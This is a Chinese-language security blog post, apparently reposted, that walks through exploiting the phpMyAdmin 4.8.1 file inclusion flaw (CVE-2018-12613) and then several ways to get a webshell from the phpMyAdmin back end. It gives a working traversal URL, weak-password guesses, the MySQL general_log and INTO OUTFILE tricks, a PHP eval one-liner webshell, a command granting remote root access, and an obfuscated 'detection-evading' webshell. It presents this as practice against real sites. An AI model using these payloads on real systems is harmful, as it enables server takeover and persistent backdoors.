18.phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)


phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套開源的、基於Web的MySQL數據庫管理工具。其index.php中存在一處文件包含邏輯,

通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。

受影響版本:

phpMyAdmin 4.8.0和4.8.1受到影響。

漏洞復現:

本次實驗環境基於docker搭建,啟動環境,使用一波phpmyadmin的弱口令,像

root/root,root/123456,root/toor....登進后台

不得不說phpmyadmin自從2.x版本有個前台登陸繞過后,到現在前台還沒出現過其他的漏洞,

希望廣大伙伴多多挖掘呀!!

使用弱口令 test/test ,成功登陸phpmyadmin后台:

訪問 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可見/etc/passwd被讀取,說明文件包含漏洞存在:

利用方式也比較簡單,可以執行一下  SELECT '<?php phpinfo()?>'; ,然后查看自己的sessionid(cookie中phpMyAdmin的值):

這樣對應的SESSION文件為 /tmp/sess_sessionid

然后在網址中包含session文件即可:

可以看到順利執行了phpinfo();

可想而知如果我們select一個php一句話木馬,用菜刀連接,整站就可以被我們控制。

.......

實戰演練:

到phpmyadmin后台后,getshell方法還很多,比如利用改變寫入的日志的路徑,寫入我們的一句話木馬,

首先呢,介紹兩個MySQL全局變量(general_log、general_log file)

  •     general log 指的是日志保存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
  •     general log file 指的是日志的保存路徑

mysql 5.0版本以上會創建日志文件,修改日志的全局變量,也可以getshell。但是也要對生成的日志有可讀可寫的權限。

查看日志狀態:

SHOW VARIABLES LIKE 'general%';

general_log=ON 時,所執行的sql語句都會出現在 /var/lib/mysql/1e164993aaf5.log 文件

那么,如果把 general_log_file 的路徑修改為 /var/lib/mysql/1.php,那么所執行的sql語句就會保存在

1.php中,如果我們執行一個php小馬,就可以getshell:

SET GLOBAL general_log='on'

SET GLOBAL general_log_file='D:/wwwroot/1.php'

如果輸入不存在的路徑時:

或許我們可以利用這個來探測目錄結構,如果路徑正確的話

這樣的話在相應的目錄下就會生成一個1.php,由於我們是實戰,所以無法截圖...

再次查看日志的狀態:

OK!!!滿足要求!

將一句話木馬寫入1.php文件,既然是日志文件,我們select查詢自然也會被保存在日志里面:

我們構造 :select '<?php phpinfo();?>'

這時候相當於我們把 <?php phpinfo();?> 寫入到日志 1.php中,我們嘗試訪問

日志文件:1.php

成功getshell!!!

-------------------------------------------------------

還有一種方法就是一句話木馬的寫入:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/1.php';

當然,前提是你得知道網站的絕對路徑,方法也有很多,比如通過報錯獲取路徑,通過phpinfo.php等等

但在新版的mysql中,這句話並沒有運行成功,應為mysql新特性secure_file_priv會對讀寫文件產生影響,

該參數用來限制導入導出,可以查看該參數:

當secure_file_priv為NULL時,表示限制mysql不允許導入導出。所以爆出錯誤

要想使得該語句導出成功,則需要在mysql文件夾下修改my.ini 文件,

在[mysqld]內加入secure_file_priv ="" 即可

當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

此時就可以執行導出命令,這里不再復現

 

附一個數據庫開啟外鏈的命令:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密碼' WITH GRANT OPTION;
附一個SQL查詢免殺shell的語句
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['bmjoker']));?>"

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM